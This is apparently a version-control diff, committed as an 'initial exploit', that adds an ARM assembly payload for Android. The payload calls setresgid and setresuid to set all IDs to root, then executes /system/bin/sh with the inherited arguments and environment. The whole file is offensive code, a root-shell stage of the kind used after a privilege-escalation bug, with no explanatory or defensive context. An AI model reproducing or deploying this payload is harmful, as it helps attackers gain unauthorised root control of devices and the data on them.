initial exploit
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@@ -0,0 +1,37 @@
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.syntax unified
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.arm
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.section .text
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.global _start
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.type _start, %function
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_start:
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ldr r3, [sp] @ argc
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add r4, sp, #4 @ argv = &stack[1]
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add r5, r4, r3, lsl #2 @ envp = argv + argc
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add r5, r5, #4 @ skip argv terminator
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mov r0, #0
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mov r1, #0
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mov r2, #0
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mov r7, #170 @ setresgid(0, 0, 0)
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svc #0
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mov r0, #0
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mov r1, #0
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mov r2, #0
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mov r7, #164 @ setresuid(0, 0, 0)
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svc #0
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adr r0, shell_path
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mov r1, r4
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mov r2, r5
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mov r7, #11 @ execve("/system/bin/sh", argv, envp)
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svc #0
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mov r0, #127
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mov r7, #1 @ exit(127)
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svc #0
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.align 2
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shell_path:
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.asciz "/system/bin/sh"
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.size _start, .-_start
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